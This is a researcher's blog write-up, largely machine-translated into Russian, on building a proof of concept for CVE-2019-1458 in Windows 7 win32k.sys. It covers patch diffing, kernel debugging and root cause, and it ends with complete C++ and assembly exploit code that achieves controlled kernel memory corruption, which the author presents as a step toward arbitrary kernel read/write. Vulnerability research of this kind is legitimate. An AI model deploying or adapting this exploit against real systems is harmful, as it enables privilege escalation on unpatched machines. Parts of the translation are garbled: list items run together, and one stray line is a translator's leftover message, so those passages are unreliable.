
POC для cve-2019-1458
В декабре Лаборатория Касперского опубликовала пост в блоге об [используемом в дикой природе 0day-эксплойте][1]. Это заинтересовало меня, потому что, хотя они описали, как работает эксплойт, они не предоставили никакого POC в своём анализе.
Поэтому я решил попробовать написать POC для этой уязвимости на основе поста Лаборатории Касперского и анализа патча.
Этот пост описывает мой путь в этом деле.
Первым делом нужно было собрать как можно больше информации об этой уязвимости. Читая упомянутый пост в блоге, я извлёк следующую информацию:
NtUserMessageCallwin32k!DrawSwitchWndHiliteКроме того, есть отличный скриншот декомпилированного кода, показывающий некоторые из перечисленных выше вещей.
Если быть точным, он показывает: создание окна переключения, вызов функции с именем toggle_alt_key и множественные вызовы NtUserMessageCall.
[Источник изображения][1]
Много полезной информации, но она всё ещё не описывает, как именно работает эта уязвимость и как её вызвать.
[Затронутым модулем был win32k.sys][2]. Я скачал пропатченную и непропатченную версии этого модуля.
Для win7 x64 это были:
Их можно скачать из [Microsoft Update Catalog][3]
Вот результат bindiff при сравнении обеих версий

После исключения функций, связанных с функциональностью DebugHook, у нас фактически остаётся эта слегка изменённая функция InitFunctionTables()

Определённо не самый большой патч.
Это не поможет сразу выявить корневую причину этой уязвимости. Но стоит отметить, что были добавлены некоторые начальные значения для переменных в
*(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180). Так что это может быть ошибка, связанная с неинициализированной переменной.
В этом разделе я покажу, как я постепенно создавал POC, который вызывает эту уязвимость, одновременно выясняя, чем на самом деле является эта уязвимость.
На начальном этапе диффинг патча не дал слишком много полезной информации, поэтому на первой стадии разработки я в основном полагался на пост в блоге Лаборатории Касперского.
Чтобы иметь хорошую тестовую среду, я подготовил VM с Win7 SP1 x64 и последней уязвимой версией win32k. Кроме того, я подключил Windbg к этой VM для отладки ядра и заодно настроил путь к серверу символов.
Я начал исследование с изучения win32k!DrawSwitchWndHilite, которая упоминалась в посте в блоге. Она вызывается из двух мест: xxxMoveSwitchWndHilite и xxxPaintSwitchWindow; последнее сразу привлекло моё внимание из-за окружающих вызовов GetKeyState/GetAsyncKeyState, упомянутых в исходном отчёте. Более того, эти вызовы проверяют, нажата ли клавиша ALT.

Вызов DrawSwitchWndHilite из xxxPaintSwitchWindow
Продолжая прослеживать перекрёстные ссылки вызовов (xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite), я обнаружил, что на первый элемент этой цепочки есть ссылка в InitFunctionTables, функции, которая была исправлена в патче.
Затем я обратился к NtUserMessageCall со скриншота декомпилированного кода.
Вот объявление этой функции```cpp
NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)
Эксплойт вызывает его с `msg = 0x14` и `dwType = 0xE0`. Посмотрим, что он делает.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);
Здесь я зарегистрировал простой оконный класс и создал окно этого класса. Затем вызвал NtUserMessageCall с теми же параметрами, что и в эксплойте. Чтобы увидеть, что происходит под капотом, я установил точку останова kd> ba e 1 win32k!NtUserMessageCall и запустил код.
К этой функции выполняется довольно много вызовов, поэтому мне пришлось поймать нужный, но это было не так сложно — это был вызов с очень коротким стеком вызовов.

NtUserMessageCall
Проход по коду показал, что она вызывает функцию из массива gapfnMessageCall; индекс вычисляется на основе значения msg и равен 0, поэтому вызов направляется к NtUserfnDWORD.

NtUserfnDWORD
Следующий вызов выполняется с использованием значения dwType, и теперь смещение gpsi равно 0x40, а вызов ведёт к xxxWrapSwitchWndProc (эта функция уже появлялась, когда я проверял цепочку вызовов DrawSwitchWndHilite).
xxxWrapSwitchWndProc просто вызывает xxxSwitchWndProc.

xxxSwitchWndProc
И это конец: код падает здесь и не идёт дальше к xxxPaintSwitchWindow, а именно туда мы хотим попасть исходя из значения msg (0x14). Давайте разберёмся, почему.
На этом этапе код падает, потому что, как показано на предыдущем изображении, fnid нашего окна не равен 0x2A0 (FNID_SWITCH), а отправляемое сообщение не равно 1, поэтому мы попадаем в xxxDefWindowProc. Чтобы избежать этого сценария, нам нужно вызвать xxxSwitchWndProc с fnid, установленным в FNID_SWITCH, чтобы перейти сразу к конструкции switch, а затем к xxxPaintSwitchWindow.
Как установить правильный fnid? Вообще-то та же функция делает это в первом блоке if, нам просто нужно провалить все проверки внутри него, чтобы добраться до инструкции, устанавливающей fnid.
Вот условия, которые нужно выполнить, чтобы провалить все три проверки if:
fnid == 0 и cbwndExtra + 0x128 >= *(gpsi + 0x154)0 для всех вновь созданных пользовательских окон.
*(gpsi+0x154) равен 0 в непропатченном win32k! Но даже если бы он был установлен в 0x130, как в пропатченной версии, мы могли бы установить cbwndExtra в 8 или больше и всё равно обойти первую проверку.msg == 1NtUserMessageCall. Хотя при msg, установленном в 1, поток управления проходит через NtUserfnINLPCREATESTRUCT вместо NtUserfnDWORD, но в итоге всё равно попадает в xxxSwitchWndProcextraData == 0cbwndExtra. ExtraData добавляется сразу после структуры tagWND (я добавил это поле в структуру tagWND в IDA как QWORD по смещению sizeof(tagWND), чтобы сделать декомпилированный код немного красивее). Его значение можно установить с помощью вызова SetWindowLongPtr.Если все эти условия выполнены, fnid окна будет установлен в FNID_SWITCH.
Итак, теперь нам нужно вызвать NtUserMessageCall дважды: первый раз с msg, равным 1, чтобы установить нужный fnid, а второй раз — чтобы добраться до xxxPaintSwitchWindow.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE/ = 1*/, 0, 0, 0, 0x0, 1);
printf("[] Calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND/ = 0x14*/, 0, 0, 0, 0x0, 1);
Я добавил `extraData` в класс окна и добавил второй вызов `NtUserMessageCall`. Теперь поток управления может достичь `xxxPaintSwitchWindow`.
(Примечание: `dwType` не обязан быть равным `0xE0`, `0` подойдёт, так как в `NtUserfnDWORD` к нему всё равно применяется операция AND с `0x1F`)

*`xxxPaintSwitchWindow`*
При более внимательном рассмотрении я заметил, что значение `extraWndData`, взятое из объекта окна (строка 25), используется как указатель для записи (строки 46-52)! Если я смогу добраться до кода, который устанавливает `extraWndData` в управляемое мной значение, я смогу повредить произвольную память!
Чтобы добраться до него, мне сначала нужно пройти ещё одну проверку (отмечена красным)
- Проверить, установлен ли у окна флаг `WS_VISIBLE`.
Этот флаг можно установить в `CreateWindowEx`
- `fnid == 0x2A0` and `cbwndExtra + 0x128 == *(gpsi + 0x154)`
`Fnid` уже установлен первым вызовом `NtUserMessageCall`.
Проблема возникает со второй частью этой проверки, потому что `*(gpsi + 0x154)` не инициализировано в уязвимом модуле `win32k`, поэтому эта проверка всегда будет завершаться неудачей. Если только мы каким-то образом не установим `*(gpsi+0x154)` в правильное значение. Оказывается, создание специального переключающего окна, упомянутого в посте Касперского, делает именно это.
- Проверить, что окно не уничтожено.
В данном случае уже выполнено.
Чтобы создать специальное [переключающее окно][4], нам нужно вызвать `CreateWindowEx` с именем `0x8003` (`#32771`). Это в конечном итоге приведёт к вызову `InternalRegisterClassEx` в ядре.

*фрагмент функции `InternalRegisterClassEx`*
Это инициализирует `*(gpsi+0x154)` значением `0x130`.
Побочный эффект заключается в том, что после установки этой переменной её невозможно сбросить обратно в 0. Поэтому у нас есть только одна попытка запустить эксплойт. Любые другие попытки до следующей перезагрузки будут неудачными.
### Управление разыменованным значением
Теперь я могу управлять `extraWndData`, которое позже разыменовывается как указатель и в него выполняется запись в `xxxPaintSwitchWindow`. `extraWndData` можно контролировать, вызывая```cpp
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)
Следует иметь в виду, что этот вызов должен быть сделан после первого вызова NtUserMessageCall, поскольку, как было показано, xxxSwitchWndProc требует, чтобы поле extraData окна было установлено в 0 во время этого первого вызова, чтобы обойти необходимые проверки.
Кроме того, SetWindowLongPtr должен вызываться до создания окна переключения, и вот почему:
фрагмент функции xxxSetWindowLong
Именно здесь мы фактически используем неинициализированную переменную *(gpsi + 0x154).
Когда эта проверка проходит, мы устанавливаем wnd->extraData в произвольное значение.
Если бы она была корректно инициализирована, эксплойт здесь бы не сработал.```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);
printf("[] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); printf("[] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
Вот результат запуска приведённого выше кода

Вскоре после этого мы получаем багчек, когда разыменовывается `rdi`.
Запуск того же эксплойта на пропатченной Windows:```
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time
SetWindowLongPtr завершается с кодом ошибки 0x585 из-за корректно инициализированного *(gpsi + 0x154). И ядро не падает.
Если кратко, основная проблема заключалась в неинициализированной переменной *(gpsi+0x154).
Но что это за значение и почему оно важно?
gpsi — это глобальный указатель на структуру [tagSERVERINFO][5]. Эта структура, среди прочего, описывает системные окна (то есть меню, рабочий стол, переключатель и т.д.), в отличие от пользовательских окон.
Эти системные окна идентифицируются по их FNID, например 0x2A0 означает окно переключателя.
Когда класс окна определяется с помощью RegisterClassEx, у нас есть возможность указать поле cbWndExtra в WNDCLASSEX. Это поле описывает, сколько дополнительных байт будет выделено в дополнение к структуре tagWND для хранения некоторой специфической для окна информации.
Затем мы можем изменять эти дополнительные байты с помощью SetWindowLongPtr.
Системные окна используют точно тот же механизм для хранения дополнительных данных, необходимых им для работы. Но в принципе эти данные не должны быть доступны через SetWindowLongPtr.
И мы видели, что в xxxSetWindowLongPtr действительно есть проверка, которая должна это предотвращать. После применения информации о типах эта проверка выглядит так:```
if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND))
goto exit_with_error
Массив `gpsi->mpFnid_serverCBWndProc` описывает размер данного системного оконного объекта, включая дополнительные данные.
`*(gpsi+0x154)` становится `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`
Если оставить это поле неинициализированным, `xxxSetWindowLongPtr` считает, что размер дополнительных данных равен `-sizeof(tagWND)`, и поэтому мы можем записывать в поле, которое должно быть приватным для структуры окна-переключателя.
Корневой причиной этой уязвимости была неинициализированная (точнее, по умолчанию инициализированная нулём) переменная `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`.
Это объясняет, почему патч был таким маленьким. Всё, что нужно было сделать, — установить его в `sizeof(tagWND) + 8`. Таким же образом теперь инициализируются и другие элементы массива `mpFnid_serverCBWndProc`, которые ранее не инициализировались (`FNID_DESKTOP`, `FNID_TOOLTIPS`), вероятно, чтобы также предотвратить будущие варианты этой эксплуатации.

## Повреждение памяти
В текущем состоянии эксплойта нам удаётся вызвать bugcheck, но крах происходит на инструкции:```asm
xxxPaintSwitchWindow + 0x8B:
cmp [rdi+6Ch], r13d ; rdi = 0x4141414141414
Последним шагом подготовки этого PoC было бы вызвать более полезный краш или, что ещё лучше, повредить память и не упасть вовсе.
Чтобы достичь этой последней цели, нам нужно:
VirtualAlloc и передать возвращённый указатель в SetWindowLongPtrxxxPaintSwitchWindow есть вызовы GetKeyState/GetAsyncKeyState, которые проверяют, нажата ли клавиша ALT. Если это не так, функция завершается.GetKeyState и GetAsyncKeyState определяется флагом в [extraWndData+6Ch].SetKeyboardState. Это будет работать только с GetKeyState, поэтому мне нужно установить значение по смещению 0x6C в 1.```cpp
ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SetWindowLongPtr(sploitWnd, 0, ptr);BYTE keyData[256]; GetKeyboardState(keyData); keyData[VK_MENU] |= 0x80; // simulate ALT SetKeyboardState(keyData);
((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow
С этим кодом я получил другое падение```asm
DrawSwitchWndHilite + 0x10A:
mov rcx, [r12+20h]
mov dl, 1
mov rcx, [rcx] ; rcx = 0
Поэтому я также предоставляю действительный указатель по смещению 0x20 (который указывает на самого себя)```cpp
ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed
Now the exploit works without crashing, and when we examine content of allocated page we can see that it was modified!

We achieved a stable exploit POC that corrupts memory provided to it. This is much better situation than POC crashing on memory read, because this arbitrary memory corruption can be more easily turned into arbitrary kernel read/write. Plus we have already extracted requirements that memory to be corrupted has to met.
## Conclusion
In this walkthrough I presented how I went from the description of the exploit and vulnerability to working POC that can be turned into useful kernel exploit.
This was quite interesting exploit that was possible because of one missing line. So I guess the takeaway is always initialize your global variables.
## POC``` cpp
#include <cstdio>
#include <windows.h>
extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
int main() {
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);
printf("[*] Allocate memory to be used for corruption\n");
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("\tptr: %p\n", mem);
PBYTE byteView = (PBYTE)mem;
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow
//pass DrawSwitchWndHilite double dereference
PVOID* ulongView = (PVOID*)mem;
ulongView[0x20 / sizeof(PVOID)] = mem;
printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
printf("[*] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Simulating alt key press\n");
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}
Входной контент для перевода отсутствует. Пожалуйста, предоставьте текст chunk 25, и я выполню перевод.```asm _DATA SEGMENT _DATA ENDS _TEXT SEGMENT
PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END
[1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/
[2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
[3]: https://www.catalog.update.microsoft.com/Home.aspx
[4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window
[5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO
[6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html